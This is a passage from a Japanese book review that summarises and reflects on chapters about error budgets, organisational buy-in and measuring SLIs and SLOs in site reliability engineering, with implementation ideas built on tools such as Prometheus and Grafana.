happy」という考え方は、SREの役を再定義するものだと感じました。技術的な指標の達成だけでなく、実際のユーザー満足度を中心に据えたアプローチは、SREがビジネス価値の創出により直接的に貢献できることを示唆しています。これは、SREの戦略的重要性を高め、組織内での位置づけを変える可能性を持っています。一方で、この章の内容を実践する上での課題も存在します。例えば、複雑な依存関係を持つマイクロサービス環境では、個々のサービスのSLOと全体のSLOをどのように整合させるかが大きな課題となります。また、ユーザー満足度を正確に測定し、それをSLOに反映させる方法も、さらなる研究と実験が必要な領域です。さらに、本書が提案する柔軟なSLOアプローチは、組織文化の変革を必要とする場合があります。特に、従来の固定的なSLAに慣れた組織では、より動的で適応的なSLOアプローチへの移行に抵抗がある可能性があります。この課題に対処するためには、経営陣を含む組織全体での理解と支持を得ることが重要です。総括すると、この章はSLO設定に関する包括的かつ実践的なガイドを提供しています。本書の現実主義的かつユーザー中心のアプローチは、SREの実務に直接的に適用可能な多くの洞察を提供しています。特に、「100%は不可能」という前提に立ちつつ、どのようにして適切な信頼性目標を設定するかという問いに対する本書の回答は、示唆に富んでいます。この章から学んだアプローチを実践することで、より効果的なSLO設定が可能になり、結果としてユーザー満足度の向上とビジネス目標の達成につながると確信しています。同時に、SLO設定はコンテキストに依存する複雑なプロセスであり、継続的な学習と改善が必要であることも忘れてはいけません。最後に、この章の内容は、SREが単なる技術的な役割ではなく、ビジネスとユーザー体験を深く理解し、それを技術的に実現する戦略的な役割であることを再認識させてくれました。SLOの適切な設定と管理は、この役割を果たす上で核心的な要素であり、今後のSRE実践においてさらに重要性を増していくと考えられます。Monitoring user experience of Flutter apps with SLI/SLO (日本語)も良かったのでオススメです。 speakerdeck.comChapter 5. How to Use Error Budgets第5章「How to Use Error Budgets」は、SRE(Site Reliability Engineering)の核心とも言えるエラーバジェットの概念と実践的な活用方法について深く掘り下げています。本書では、エラーバジェットが単なる数値目標ではなく、組織の意思決定と行動を導く強力なツールであることを説得力のある方法で説明しています。章の冒頭で、本書では「Error budgets are the final part of the Reliability Stack, and it takes a lot of effort and resources to use them properly.」と述べ、エラーバジェットの重要性と実装の難しさを強調しています。この言葉は、SREとしての私の経験と深く共鳴しました。エラーバジェットの導入は、技術的な課題だけでなく、組織文化の変革も必要とする複雑なプロセスであることを日々実感しています。失敗の科学作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon本書が提示するエラーバジェットの基本的な考え方は、Figure 5.1に端的に示されています。「If you have error budget remaining, ship new features and push to production as often as you\'d like; once you run out of it, stop pushing feature changes and focus on reliability instead.」この単純な原則は、開発チームと運用チームの間の対立関係に対する優れた解決策を提供しています。技術的な観点から特に興味深かったのは、エラーバェットの計算方法に関する詳細な説明です。本書では、イベントベースと時間ベースの2つのアプローチを紹介し、それぞれの利点と欠点を解説しています。例えば、30日間のウィンドウで99.7%のSLO目標を持つサービスの場合、エラーバジェットは次のように計算されます:(1 - 0.997) \xd7 2592000 = 7776この7776秒(2時間9分36秒)が、30日間で許容される「不安定な時間」となります。この具体的な数値を示すことで、エラーバジェットの概念がより理解しやすくなると感じました。本書ではまた、エラーバジェットの時間枠の選択についても詳しく論じています。ローリングウィンドウとカレンダーベースのウィンドウの比較は、特に興味深いものでした。カレンダーベースのウィンドウは報告や計画が容易になる一方で、月末近くの大きな障害の影響を適切に映できない可能性があるという指摘は、実務上重要な点だと感じました。エラーバジェットポリシーの策定に関する本書の提案も、有用でした。特に、「Use words like must, may, should, and required in your written policies to help give people freedom to adapt certain parts of them.」という助言は、ポリシーの柔軟性と厳格性のバランスを取る上で重要だと感じました。本書が推奨するRFC 2119の活用は、技術文書の作成において有用な指針だと思います。この章で最も印象に残ったのは、エラーバジェットを単なる数値目標ではなく、意思決定のツールとして捉える視点です。「Error budget status is just the end result of a bunch of data (SLIs, SLOs, and their targets) that exists to help you make decisions.」この考え方は、SREの実践において重要です。エラーバジェットは、チーム間のコミュニケーションを促進し、リソース配分の優先順位付けを支援する強力なツールとなり得ます。本書が提案するエラーバジェットの段階的な対応策(例:33%消費で2人、66%消費で4人がリライアビリティ作業に集中)は、実務に直接適用できる具体的なアイデアとして参考になりました。同時に、これらの対応策を固定的なルールではなく、状況に応じて柔軟に適用すべきガイドラインとして捉える本書の姿勢は、現実のソフトウェア開発環境の複雑さを適切に反映していると感じました。エラーバジェットの計算方法に関する技術的な詳細も、有用でした。特に、ローリングウィンドウとカレンダーベースのウィンドウの比較は、実際のシステム設計において重要な選択となります。本書が指摘するように、カレンダーベースのウィンドウは報告や計画が容易になる一方で、月末近くの大きな障害の影響を適切に反映できない可能性があります。この点は、エラーバジェットの設計において慎重に考慮すべき要素だと感じました。また、本書が提案する「時間の除外」の概念も興味深いものでした。計画的なメンテナンス時間や、サービスが重要でない時間帯をエラーバジェットの計算から除外することで、より現実的なSLOを設定できるという点は、多くのシステムに適用可能な有用な考え方だと思います。エラーバジェットポリシーの策定に関する本書の提案は、組織内でのエラーバジェットの効果的な運用に不可欠なものだと感じました。特に、ポリシーに所有者とステークホルダーを明確に記載することの重要性は、組織の規模が大きくなるほど重要になります。また、エラーバジェットのバーンレートに応じた段階的な対応策の設定は、リソースの効率的な配分と迅速な問題対応のバランスを取る上で有効だと思います。本書が強調する「信頼」の重要性も良かったです。エラーバジェットポリシーは厳格なルールではなく、意思決定のガイドラインであるべきだという考え方は、現実の複雑な状況に柔軟に対応する上で重要です。同時に、ポリシーの定期的な見直しと更新の必要性を強調している点も、変化の激しい技術環境において重要だと感じました。この章から得られる重要な教訓は、エラーバジェットが単なる数値目標ではなく、組織全体の意思決定とコミュニケーションを導く強力なツールであるということです。エラーバジェットを効果的に活用するためには、技術的な実装だけでなく、組織文化の変革と継続的な善プロセスが不可欠です。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:エラーバジェットの計算方法と時間枠の選択を、サービスの特性とユーザーのニーズに基づいて慎重に検討する。段階的なエラーバジェット消費に対する対応策を、チームの規模と構造に合わせて設計する。エラーバジェットポリシーを作成し、所有者、ステークホルダー、対応策、見直しスケジュールを明確に定義する。エラーバジェットの状況を定期的に報告し、チーム間のコミュニケーションと意思決定に活用する。エラーバジェットの概念と重要性について、組織全体の理解を促進するための教育プログラムを実施する。技術的な観点からは、エラーバジェットの計算と監視を自動化するシステムの構築が重要になります。例えば、SLIデータを継続的に収集し、リアルタイムでエラーバジェットの状況を計算・可視化するダッシボードの開発が考えられます。また、エラーバジェットのバーンレートに基づいて自動的にアラートを発生させ、適切なチームメンバーに通知するシステムも有用でしょう。さらに、本書が提案するエラーバジェットの「burn rate」の概念は、特に注目に値します。この概念を実装するためには、時系列データベースとアナリティクスツールの効果的な活用が必要になるでしょう。例えば、Prometheus+Grafanaの組み合わせを使用して、エラーバジェットのバーンレートを可視化し、予測分析を行うことが考えられます。エラーバジェットの概念をCICD(Continuous Integration/Continuous Deployment)パイプラインと統合することも、有効なアプローチだと考られます。例えば、現在のエラーバジェットの状況に基づいて、自動的にデプロイメントの頻度や規模を調整するシステムを構築することができます。これにより、エラーバジェットの概念をより直接的に開発プロセスに組み込むことが可能になります。この章を読んで、エラーバジェットの効果的な活用は、単にシステムの信頼性を向上させるだけでなく、組織全体のアラインメントとコミュニケーションを促進する強力なツールとなり得ます。特に、開発チームと運用チームの間の伝統的な対立を解消し、共通の目標に向かって協力する文化を醸成する上で、エラーバジェットは有効だと感じました。また、エラーバジェットを活用した意思決定プロセスは、SREの戦略的な重要性を高める可能性がります。エラーバジェットの状況に基づいて、リソース配分や優先順位付けを行うことで、SREはより直接的にビジネス目標の達成に貢献できるようになります。これは、SREの役割がより戦略的になり、経営陣との対話がより深まる可能性を示唆しています。総括すると、この章はエラーバジェットの概念と実践的な活用方法について、包括的かつ深い洞察を提供しています。エラーバジェットは、単なる技術的なメトリクスではなく、組織の文化と意思決定プロセスを変革する強力なツールです。SREとして、エラーバジェットの効果的な実装と活用は、システムの信頼性向上だけでなく、組織全体のパフォーマンス向上にも大きく貢献する可能性があると確信しています。今後の課題としては、エラーバジェットの概念をより広範囲のステークホルダーに理解してもらい、組織全体で活用していくことが挙げられます。また、エラーバジェットの計算と監視をより精緻化し、より正確かつリアルタイムな意思決定を支援するシステムの開発も重要な課題となるでしょう。さらに、エラーバジェットの概念を他の経営指標と統合し、より包括的な組織パフォーマンスの評価システムを構築することも、将来的な展望として考えられます。エラーバジェットの効果的な活用は、SREの実践において中心的な役割を果たすものです。この章で学んだ概念と手法を、日々の業務に積極的に取り入れていくことで、より信頼性の高いシステムの構築と、より効果的な組織運営に貢献できると確信しています。同時に、エラーバジェットの概念は常に進化し続けるものであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。Part II. SLO ImplementationPart IIでは、SLOの実装と運用に焦点が当てられています。特に良かったのは、SLOモニタリングとアラートに関する章です。著者は、従来のしきい値ベースのアラートの問題点を指摘し、エラーバジェットのバーンレートに基づいたSLOアラートの優位性を説明しています。世の中にはOpenSLOなんていう取り組みもあります。技術的な観点からは、エラーバジェットの計算方法や、短期的な問題(fast burn)と長期的な問題(slow burn)を区別して扱うアプローチなど、実践的な知見が多く含まれています。これらの手法は、より効果的なインシデント管理と、リソースの最適な配分を可能にします。また、データの信頼性に関する章も興味深いものでした。データサービスの信頼性が他のサービスとは根本的に異なる性質を持つことが強調され、データの鮮度、完全性、一貫性など、多面的な属性を考慮したSLO設定の重要性が説明されています。この部分から学んだ最も重要な教訓は、SLOの実装が技術的な課題だけでなく、組織全体のプロセスと密接に関連していることです。SLOを効果的に運用するためには、技術チーム、プロダクトチーム、経営陣など、様々なステークホルダーの協力が不可欠です。SREとして、これらの関係者間のコミュニケーションを促進し、SLOを組織の意思決定プロセスに組み込んでいく役割が求められています。Chapter 6. Getting Buy-In第6章「Getting Buy-In」は、SLO(Service Level Objectives)の導入において最も重要かつ困難な課題の一つである組織内の合意形成について詳細解説しています。本章では、SLOの導入が単なる技術的な問題ではなく、組織全体の文化や意思決定プロセスに深く関わる変革であることを強調しています。他者と働く──「わかりあえなさ」から始める組織論 (NewsPicksパブリッシング)作者:宇田川元一ニューズピックスAmazon章の冒頭で、本書では「SLIs, SLOs, and error budgets are really helpful mental tools to reason about the reliability needs of your systems. If you want them to be anything more than just interesting talking points, however, you will need to convince your company (or organization) to implement and live by them.」と述べています。この言葉は、SLOの導入が単なる技術的な実装以上の意味を持つことを端的に表現しています。この点に強く共感しました。技術的に優れたソリューションであっても、組織全体の理解と支持がなければ、その効果を十分に発揮することはできません。 speakerdeck.com本書では、SLO導入のための合意形成プロセスを段階的に説明しています。特に良かったのは、各ステークホルダーの懸念事項と、それに対する効果的な説得方法を具体的に提示している点です。例えば、エンジニアリングチームに対しては、「SLOs (and error budgets) increase both reliability and feature velocity over time. They also make for a better work environment because they align incentives among previously warring factions.」というメッセージが効果的だと述べています。この視点は、開発チームと運用チームの間に常に存在する対立関係を解消する上で重要だと感じました。技術的な観点から特に興味深かったのは、エラーバジェットポリシーの設計に関する提案です。本書では、最初の1年間は単一のエラーバジェットポリシーを採用し、それを「新機能の凍結(feature freeze)」ポリシーとすることを推奨しています。具体的には、可用性SLOが99.9%の場合、30日間で43.2分のエラーバジェットがあり、このバジェットを超過した場合は新機能の開発を一時停止し、信頼性向上に注力するというものです。この明確で厳格なポリシーは、組織全体にSLOの重要性を浸透させる上で効果的だと感じました。本書では、SLO導入のための合意形成プロセスを5つの主要なステークホルダーグループ(エンジニアリング、運用、プロダクト、リーダーシップ、法務)に分けて説明しています。各グループの懸念事項と、それに対する効果的な説得方法が詳細に解説されており、実際の導入プロセスにおいて参考になりました。また本書では、エグゼクティブリーダーシップへの説得方法についても詳しく解説されています。「In our firm, we strive for 100% customer satisfaction and 100% uptime! Our customers will tolerate no less!」という経営陣からよくある反応に対して、本書では現実主義的なアプローチを提案しています。完璧な信頼性は不可能であり、むしろ適切なレベルの信頼性を目指すことで、イノベーションと安定性のバランスを取ることができるという説明は、説得力がありました。また、本書が提案する「thaw tax」の概念も興味深いものでした。機能フリーズ期間中に例外的にリリースを行う場合、その期間の1.5倍をフリーズ期間に追加するという考え方は、ポリシーの柔軟性と厳格性のバランスを取る上で有効だと思います。SLO導入の最初の重要な瞬間について、本書では「The most important moment is the first time you exhaust your error budget and need to enforce your policy. That will be the moment that teaches everyone whether or not you are serious about this journey.」と述べています。この指摘は、共感できるものでした。ポリシーを厳格に適用することの重要性と、それが組織文化の変革につながることを強調している点は、重要だと感じました。本書では、SLO導入プロセスから学んだ教訓も共有しています。特に印象的だったのは、「Too much too soon」という警告です。一度にすべてを変えようとするのではなく、一つの製品の一部分、あるいは一つの障害ドメインから始めることの重要性を強調しています。この段階的なアプローチは、大規模な組織変革を成功させる上で重要だと感じました。また、「Be completely transparent」という助言も重要です。SLOとエラーバジェットの状況を組織全体で可視化し、共有することの重要性を強調しています。これは、SLOアプローチの効果を最大化し、組織全体のアラインメントを促進する上で不可欠だと思います。技術的な観点からは、本書がSLOとエラーバジェットの可視化について言及している点が興味深かったです。具体的な実装方法は述べられていませんが、例えばPrometheus + Grafanaのような監視スタックを活用し、リアルタイムでSLOの状況を可視化するダッシュボードを構築することが考えられます。これにより、組織全体でSLOの状況を共有し、迅速な意思決定を行うことが可能になります。本書では最後に、SLOアプローチの導入に対する一般的な反論とその反駁を提示しています。特に、「But we\'re not Google!」という反論に対する本書の回答は印象的でした。SLOベースのアプローチはGoogle特有のものではなく、あらゆる規模の組織に適用可能であることを強調しています。この章から得られる最も重要な教訓は、SLOの導入が技術的な課題以上に、組織文化の変革と関係者の合意形成が重要であるということです。本書が提示する段階的なアプローチと各ステークホルダーに対する具体的な説得方法は、実際のSLO導入プロセスにおいて有用なガイドラインとなります。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます。組織内の主要なステークホルダーを特定し、それぞれの懸念事項を事前に把握する。SLOとエラーバジェットの概念について、非技術者にも理解しやすい説明資料を準備する。小規模なパイロットプロジェクトから始め、成功事例を作り出す。エラーバジェットポリシーを明確に定義し、組織全体で合意を得る。SLOとエラーバジェットの状況を可視化するダッシュボードを構築し、組織全体で共有する。定期的にSLOの見直しと調整を行い、継続的な改善を図る。技術的な観点からは、SLOとエラーバジェットの測定と可視化のためのインフラストラクチャの構築が重要になります。例えば、以下のような技術スタックの活用が考えられます。Prometheusを使用してSLIメトリクスを収集する。Grafanaを使用してSLOとエラーバジェットの状況をリアルタイムで可視化する。Alertmanagerを設定し、エラーバジェットのバーンレートに応じたアラートを発行する。Kubernetes Operatorを開発し、エラーバジェットの状況に応じて自動的にデプロイメントを制御する。これらの技術的な実装により、SLOアプローチを組織の日常的な運用に組み込むことが可能になります。また、本書が強調している「透明性」を実現するためには、技術的な可視化だけでなく、組織内のコミュニケーションプロセスも整備する必要があります。例えば、週次または月次のSLOレビューミーティングを設定し、エンジニアリング、プロダクト、経営陣が一堂に会してSLOの状況と今後の方針を議論する場を設けることが有効でしょう。SLOの導入は、単なる技術的な指標の導入以上の意味を持ちます。それは、組織全体の意思決定プロセスと優先順位付けの方法を根本的に変える可能性を秘めています。例えば、新機能の開発とシステムの安定性向上のバランスを、感覚的なものではなく、データに基づいて判断することが可能になります。これにより、エンジニアリングリソースの最適な配分が可能になり、結果としてユーザー満足度の向上とビジネス目標の達成につながります。同時に、SLOアプローチの導入は、組織の文化を「障害を責める」文化から「学習と改善」の文化へと変革する契機にもなり得ます。エラーバジェットの概念は、一定レベルの障害を許容することで、より積極的な実験と学習を促進します。これは、長期的には組織の革新性と競争力の向上につながる可能性があります。この章を読んで、私はSREの役割がより戦略的なものになりつつあることを強く感じました。SLOの導入と運用を通じて、SREは技術的な問題解決だけでなく、組織全体の方向性に影響を与える重要な位置にあることが明確になりました。この変化に適応し、技術的なスキルとビジネス感覚の両方を磨いていくことが、今後のSREにとって不可欠だと考えます。総括すると、この章はSLO導入の成功に不可欠な組織的側面に焦点を当て、具体的かつ実践的なガイダンスを提供しています。技術的な実装はSLO導入の一部分に過ぎず、真の成功は組織全体の理解と支持を得ることにあるという本書のメッセージは、重要です。SREとして、この章から学んだアプローチを実践することで、より効果的なSLO導入が可能になり、結果として組織全体のパフォーマンス向上につながると確信しています。同時に、SLO導入プロセスは継続的な学習と改善の機会でもあります。初期の導入後も、定期的にSLOの妥当性を見直し、組織の変化や新たな技術の登場に応じて柔軟に調整していく必要があります。この継続的な改善プロセスこそが、SLOアプローチの真の価値を引き出す鍵となるでしょう。今後の課題としては、SLOの概念をより広範囲の組織メンバーに浸透させること、SLOデータを活用した意思決定プロセスの確立、そして他のビジネスメトリクスとSLOを統合した包括的なパフォーマンス評価システムの構築などが考えられます。これらの課題に取り組むことで、SLOアプローチはより一層組織に根付き、長期的な価値を生み出すことができるでしょう。最後に、本書の「SLOは複雑な科学ではなく、基本的な算術と規律の問題である」という指摘は重要です。この言葉は、SLO導入の本質が技術的な複雑さではなく、組織の意志と実行力にあることを端的に表現しています。SREとして、この点を常に念頭に置きながら、組織全体のアラインメントと継続的な改善を推進していくことが重要だと感じました。SLOの導入は、技術的な変革であると同時に、組織文化の変革でもあります。この章で学んだアプローチを実践することで、より信頼性の高いシステムの構築と、より効果的な組織運営に対して営に貢献できると確信しています。同時に、SLOの概念は常に進化し続けるものであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応してく必要があることも忘れてはいけません。SLOの導入プロセスにおいて、本書が強調する「ステークホルダーの理解と支持を得ること」の重要性は、特に注目に値します。技術的に優れたソリューションであっても、組織全体の理解と支持がなければ、その効果を十分に発揮することはできません。この点で、本書が提案する各ステークホルダーグループ(エンジニアリング、運用、プロダクト、リーダーシップ、法務)に対する具体的な説得方法は、実践的で有用です。例えば、エンジニアリングチームに対しては、SLOとエラーバジェットが信頼性と機能開発速度の両方を向上させることを強調します。これは、多くのエンジニアが抱える「信頼性向上と新機能開発のトレードオフ」という懸念に直接応えるものです。一方、運用チームに対して、SLOアプローチがエンジニアリングチームとの対立を解消し、共通の目標に向かって協力する文化を醸成することを強調します。プロダクトチームに対しては、SLOが長期的には機能開発速度を向上させることを説明します。これは、多くのプロダクトマネージャーが持つ「SLOが機能開発を遅らせる」という懸念を解消するのに役立ちます。さらに、SLOがユーザージャーニーと密接に関連していることを強調することで、プロダクトチームの関心を引き出すことができます。リーダーシップに対しては、SLOアプローチが組織全体のアラインメントを促進し、データに基づいた意思決定を可能にすることを強調します。特に、「100%の信頼性は不可能であり、追求すべきでもない」という現実的なアプローチは、多くの経営者が持つ「完璧を目指すべき」とい考えに対する重要な反論となります。法務チームに対しては、SLOが法的リスクの定量化と管理に役立つことを説明します。特に、SLAとSLOの違いを明確に説明し、SLOがより現実的で管理可能な内部目標であることを強調することが重要です。技術的な観点からは、SLOの測定と可視化のためのインフラストラクチャの構築が重要な課題となります。具体的には、以下のような技術スタックの活用が考えられます。Prometheusを使用してSLIメトリクスを収集する。Grafanaを使用してSLOとエラーバジェットの状況をリアルタイムで可視化する。Alertmanagerを設定し、エラーバジェットのバーンレートに応じたアラートを発行する。カスタムのKubernetes Operatorを開発し、エラーバジェットの状況に応じて自動的にデプロイメントを制御する。OpenTelemetryを活用して、分散システム全体でのエンドツーエンドのトレーシングを実現する。これらの技術を効果的に組み合わせることで、SLOの測定と管理を自動化し、リアルタイムでの意思決定を支援することができます。しかし、技術的な実装以上に重要なのは、SLOアプローチを組織の日常的な運用とビジネス意思決定プロセスに深く組み込むことです。例えば、四半期ごとの事業計画策定時にSLOの状況をレビューし、今後の開発方針やリソース配分の決定に活用するといった取り組みが考えられます。また、SLOアプローチの導入は、組織の文化を「障害を責める」文化から「学習と改善」の文化へと変革する機会でもあります。エラーバジェットの概念は、一定レベルの障害を許容することで、より積極的な実験と学習を促進します。これを組織文化として定着させるためには、以下のような取り組みが効果的ですポストモーテム(障害事後分析)を非難の場ではなく習の機会として位置づける。エラーバジェットを使い切った際の対応を、単なるペナルティではなく、システム改善のための集中期間として捉える。イノベーションとリスクテイキングを奨励し、エラーバジェット内での「失敗」を許容する文化を醸成する。SLOの達成状況を個人やチームの評価指標として使用するのではなく、組織全体の改善指標として活用する。これらの文化的側面は、技術的な実装と同等、あるいはそれ以上に重要です。なぜなら、組織文化がSLOアプローチを支持しない限り、その効果を最大限に発揮することはできないからです。本書で強調する「最初のエラーバジェット超過時の対応」の重要性も、特筆に値します。この最初の事例が、組織がSLOアプローチをどれだけ真剣に捉えているかを示す重要な指標となります。したがって、この最初の事例に対する対応を慎重に計画し、組織全体で共有することが重要です。例えば、最初のエラーバジェット超過時には以下のようなアプローチが考えられます:エグゼクティブレベルを含む全社的なミーティングを開催し、状況を共有する。エラーバジェットポリシーに基づく対応(例:機能フリーズ)を厳格に実施する。この期間中の改善活動とその成果を詳細に記録し、組織全体で共有する。この経験から学んだことを基に、SLOとエラーバジェットポリシーを見直し、必要に応じて調整する。これらの取り組みを通じて、SLOアプローチが単なる技術的な指標ではなく、組織全体の運営方針に深く組み込まれたものであることを示すことができます。最後に、本書が提案する段階的なアプローチと定期的な見直しの重要性を強調しておきたいと思います。SLOの導入は一朝一夕には実現できません。小規模なパイロットプロジェクトから始め、徐々に範囲を拡大していくアプローチが、多くの場合効果的です。また、初期のSLO設定が最適でない可能性も高いため、定期的(例えば四半期ごと)にSLOを見直し、必要に応じて調整することが重要です。このような継続的な改善プロセスを通じて、SLOアプローチは組織に深く根付き、長期的な価値を生み出すことができるようになります。SREとして、この継続的な改善プロセスをリードし、技術的な実装と組織文化の変革の両面からSLOアプローチの成功を支援することが、我々の重要な役割となるでしょう。SLOの導入は、単なる技術的な変更以上の意味を持ちます。それは、組織全体の運営方針とビジネス意思決定プロセスを本格的に変える可能性を秘めています。この変革を成功させるためには、技術的なスキルとビジネス感覚の両方を持ち合わせ、組織全体をリードしていく能力が必要となります。この章で学んだアプローチを実践し、組織全体のアラインメントを図りながらSLOを導入することで、より信頼性の高いシステムの構築と、より効果的な組織運営が実現できると確信しています。同時に、この過程は継続的な学習と改善の機会でもあります。新しい技術や方法論の登場、ビジネス環境の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。SLOの導入は、技術的な挑戦であると同時に、組織文化の変革という大きな挑戦でもあります。しかし、この挑戦を乗り越えることで、組織はより強靭で適応力の高いものとなり、急速に変化する技術環境ビジネス環境において、持続的な成功を収めることができるでしょう。SREとして、この変革の最前線に立ち、技術と組織の両面からリーダーシップを発揮することが、我々に求められている重要な役割なのです。Chapter 7. Measuring SLIs and SLOs第7章「Measuring SLIs and SLOs」は、Service Level Indicators (SLIs)とService Level Objectives (SLOs)の実装と測定に関する深い洞察を提供しています。本章は、SLOの実装が単なる技術的な作業ではなく、組織全体の運用方針と密接に関連する重要な取り組みであることを強調しています。組織が変わる――行き詰まりから一歩抜け出す対話の方法2 on 2作者:宇田川 元一ダイヤモンド社Amazon章の冒頭で、本書では「It\'s one thing to understand the philosophy of what a good SLI for a service might be, but it\'s another thing entirely to actually understand how to implement and measure it.」と述べています。この言葉は、SLIとSLOの理論と実践の間には大きなギャップが存在することを端的に表現しており、SREとしての私の経験と深く共鳴しました。理想的なSLIを定義することは比較的容易ですが、それを実際のシステムで正確に測定することは多くの技術的課題を伴います。本書では、SLOの実装における6つの設計目標を提示しています:柔軟なターゲット、テスト可能なターゲット、鮮度、コスト、信頼性、組織的制約。これらの目標は、SLO実装の成功を左右する重要な要素であり、SREとして常に意識すべき点だと感じました。特に、「Flexible Targets」の重要性は印象的でした。本書では、SLOが時間とともに進化する必要があることを強調し、人間のオペレーターがコード変更やソフトウェアの再デプロイなしにSLOのパラメータを調整できることの重要性を指摘しています。この柔軟性は、急速に変化するビジネ環境や技術環境において重要です。技術的な観点から特に興味深かったのは、Time Series Database (TSDB)と構造化イベントデータベース(ログシステム)の比較です。本書では、これらの異なるアプローチの長所と短所を詳細に分析しています。例えば、TSDBは高スループットのシステムに適していますが、柔軟性に欠ける場合があります。一方、構造化イベントデータベースは柔軟性が高いものの、コストが線形に増加する傾向があります。この分析は、SLO実装の技術選択において有用な指針となります。本書が提示するTSDBにおける統計分布のサポートに関する説明は、特に印象的でした。パーセンタイルベースのSLOを実装する際、TSDBが提供する分布データ型の機能が重要になります。本書では、「Statistical distributions are incredibly important when implementing SLOs with a TSDB: per our design goals of flexible targets and testable targets, durably stored time series distributions allow us to measure P95 latency one day and P99 the next without changing code, changing configuration, or losing time series history.」と述べています。この柔軟性は、SLOの継続的な改善と調整において重要です。本書では、一般的なSLO実装パターンとして、レイテンシに敏感なリクエスト処理、低遅延・高スループットのバッチ処理、モバイル・Webクライアントの3つを挙げています。これらのパターンの解説は、実際のシステム設計において参考になりました。特に、モバイル・Webクライアントのパフォーマンス測定に関する考察は、エンドユーザー視点のSLOの重要性を再認識させられました。技術的な詳細に関しては、本書がTSDBにおけるヒストグラム実装について詳細に説明している点が有用でした。例えば、バケット化されたデータを用いてパーセンタイルを近似する方法の説明は、実際のSLO実装において直接適用可能な知見です。また、Dunning and Ertlのt-digestアルゴリズムへの言及は、より高度なSLO実装を検討する上で参考になりました。分散トレーシングとSLOの統合に関する本書の考察も興味深いものでした。「Historically, distributed tracing was thought of as its own \\"product\\" with valuable but highly specialized use cases, mostly around performance analysis and distributed debugging. Really, though, distributed traces are just a data source that can be applied to a variety of problems, and SLIs and SLOs are well qualified to benefit from distributed tracing data and technology.」この視点は、分散システムにおけるSLO実装の新たな可能性を示唆しており、今後のSRE実践において重要な指針となると感じました。本書では、SLIとSLOの実装が単なる技術的な問題ではなく、組織文化の変革を伴うものであることを強調しています。特に、SLIとSLOの発見可能性(Discoverability)の重要性を指摘している点は印象的でした。SLOアプローチの効果を最大化するためには、SLIとSLOが組織全体で容易に発見され、理解されることが不可欠です。この点は、SREとしての私たちの役割が単なる技術的な実装を超えて、組織全体のアラインメントを促進する重要な位置にあることを示唆しています。この章から得られる重要な教訓は、SLIとSLOの実装が複雑な多段階の計算を伴う作業であり、様々なトレードオフを慎重に検討する必要があるということです。本書では、「At the end of the day, most useful SLIs and SLO measurements are complex, multistage computations, and like any such computations, their implementation involves trade-offs and conflicting goals that must be held in tension.」と述べています。この認識は、SLO実装の難しさと同時に、その重要性を端的に表現しています。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:組織の現状のインフラストラクチャ(TSDB、ログシステム)を評価し、SLO実装の6つの設計目標に照らし合わせて適合性を検討する。一般的なSLO実装パターン(レイテンシに敏感なリクエスト処理、低遅延・高スループットのバッチ処理、モバイル・Webクライアント)を参考に、自組織のシステムに適したSLO実装戦略を策定する。TSDBを使用する場合、統計分布のサポートを重視し、必要に応じてカスタムの実装(例:バケット化されたヒストグラム)を検討する。構造化イベントデータベースを使用する場合、コストと鮮度のバランスを慎重に評価し、高スループットシステムでの使用には注意を払う。分散トレーシングシステムとSLOの統合を検討し、より詳細なパフォーマンス分析と問題解決を可能にする。SLIとSLOの発見可能性を高めるため、組織内での文書化と共有のプロセスを確立する。また、分散トレーシングとSLOの統合に関しては、OpenTelemetryなどのオープンソースフレームワークを活用することで、より効果的なSLO実装が可能になります。例えば、OpenTelemetryのSpanデータを利用して、サービス間の依存関係を考慮したSLOを実装することができます。SLIとSLOの発見可能性を高めるためには、組織内のサービスカタログやWikiシステムとの統合が効果的です。例えば、各サービスのドキュメントページにSLIとSLOの定義を明記し現在の状態を動的に表示するダッシュボードへのリンクを提供するなど、技術的な実装と組織的なプロセスを組み合わせたアプローチが考えられます。この章を読んで、SLIとSLOの実装は、単なる技術的な課題ではなく、組織全体のアラインメントと継続的な改善プロセスの中核を成すものです。特に、本書が強調する柔軟性とテスト可能性の重要性は、急速に変化するビジネス環境において重要です。同時に、コストと信頼性のバランスを取ることの難しさも再認識しました。高スループットのシステムでSLOを実装する際、TSDBと構造化イベントデータベースのどちらを選択するか、あるいは両者をどのように組み合わせるかは、慎重に検討する必要があります。この選択は、組織の規模、技術スタック予算など、様々な要因に依存します。本書が提案する6つの設計目標(柔軟なターゲット、テスト可能なターゲット、鮮度、コスト、信頼性、組織的制約)は、SLO実装プロジェクトの評価フレームワークとして有用です。これらの目標を常に意識しながら設計と実装を進めることで、より効果的なSLOシステムを構築できると確信しています。総括すると、この章はSLIとSLOの測定に関する包括的かつ実践的なガイドを提供しています。本書の豊富な経験に基づく洞察は、SLO実装の複雑さと重要性を明確に示しています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLO実装が可能になり、結果として組織全体のパフォーマンス向上につながると確信しています。同時に、SLOの実装は継続的な学習と改善のプロセスであることを忘れてはいけません。技術の進化や組織の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。特に、分散トレーシングとの統合やAIを活用したSLO予測など、新しい技術の活用可能性に注目していく必要があります。今後の課題としては、SLOデータを活用した予測分析の実装、マイクロサービスアーキテクチャにおけるEnd-to-EndのSLO管理、そしてビジネスKPIとSLOの統合などが考えられます。これらの課題に取り組むことで、SREの実践はさらに進化し、より効果的にビジネス価値を創出できるようになるでしょう。最後に、本書の「SLIとSLOの実装は複雑な多段階の計算であり、様々なトレードオフを伴う」という指摘は重要です。この認識を持ちつつ、組織の特性に合わせた最適なSLO実装を追求していくことが、SREとしての私たち重要な役割だと感じました。Table 7-1. An example simple TSDB entry より引用Table 7-2. A simple way to start bucketing data より引用Table 7-3. Implementing a real histogram より引用これらの図は、TSDBを使用したSLO実装の具体的な方法を示しており、実際のシステム設計において有用です。特に、Figure 